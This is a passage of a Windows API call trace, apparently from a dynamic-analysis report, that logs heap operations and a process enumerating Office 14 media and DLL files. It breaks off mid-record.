[0079.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9a00 [0079.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabaa10 [0079.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.204] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0079.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9a20 [0079.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabaa98 [0079.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.205] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 1 [0079.205] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 0 [0079.205] GetLastError () returned 0x12 [0079.205] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.206] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb46b000, ftCreationTime.dwHighDateTime=0x1bfbeee, ftLastAccessTime.dwLowDateTime=0x5ed57890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb46b000, ftLastWriteTime.dwHighDateTime=0x1bfbeee, nFileSizeHigh=0x0, nFileSizeLow=0x59f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARROW.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90776900, ftCreationTime.dwHighDateTime=0x1bfbeeb, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90776900, ftLastWriteTime.dwHighDateTime=0x1bfbeeb, nFileSizeHigh=0x0, nFileSizeLow=0x2f676, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOMB.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106db200, ftCreationTime.dwHighDateTime=0x1bfc6e8, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x106db200, ftLastWriteTime.dwHighDateTime=0x1bfc6e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAMERA.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASHREG.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x91be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHIMES.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffbd3c00, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffbd3c00, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLICK.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0cc600, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef0cc600, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="COIN.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x4be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRUMROLL.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x5c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLODE.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb836b000, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x53822dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb836b000, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HAMMER.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x72d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5dc00, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x5a7913b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4b5dc00, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x3d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUSH.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eba3e00, ftCreationTime.dwHighDateTime=0x1bfa2b0, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eba3e00, ftLastWriteTime.dwHighDateTime=0x1bfa2b0, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUCTION.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TYPE.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdb8800, ftCreationTime.dwHighDateTime=0x1bfbeed, ftLastAccessTime.dwLowDateTime=0x7071e4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecdb8800, ftLastWriteTime.dwHighDateTime=0x1bfbeed, nFileSizeHigh=0x0, nFileSizeLow=0x35c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VOLTAGE.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 1 [0079.206] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 0 [0079.206] GetLastError () returned 0x12 [0079.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.207] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4f5000, ftCreationTime.dwHighDateTime=0x1cac037, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4f5000, ftLastWriteTime.dwHighDateTime=0x1cac037, nFileSizeHigh=0x0, nFileSizeLow=0x1c798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36c06100, ftCreationTime.dwHighDateTime=0x1ca24ad, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36c06100, ftLastWriteTime.dwHighDateTime=0x1ca24ad, nFileSizeHigh=0x0, nFileSizeLow=0x5a768, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BusinessData.xml", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x662b9570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x8a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x568a2e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x295c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.xml", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xa2780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c3f00, ftCreationTime.dwHighDateTime=0x1ca2551, ftLastAccessTime.dwLowDateTime=0x67a61010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c3f00, ftLastWriteTime.dwHighDateTime=0x1ca2551, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.xml", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad79f00, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ad79f00, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xe9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x575e0870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x33737, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.xml", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x4998, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.CLRHost.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdb13800, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdb13800, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xa780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x61e95fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x63790, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0xc5265, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x67760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.office.workflow.actions.proxy.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17441800, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17441800, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x7d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.dll", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe853200, ftCreationTime.dwHighDateTime=0x1ca24ae, ftLastAccessTime.dwLowDateTime=0x5687ccb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe853200, ftLastWriteTime.dwHighDateTime=0x1ca24ae, nFileSizeHigh=0x0, nFileSizeLow=0x311b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cAlternateFileName="")) returned 1 [0079.208] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, 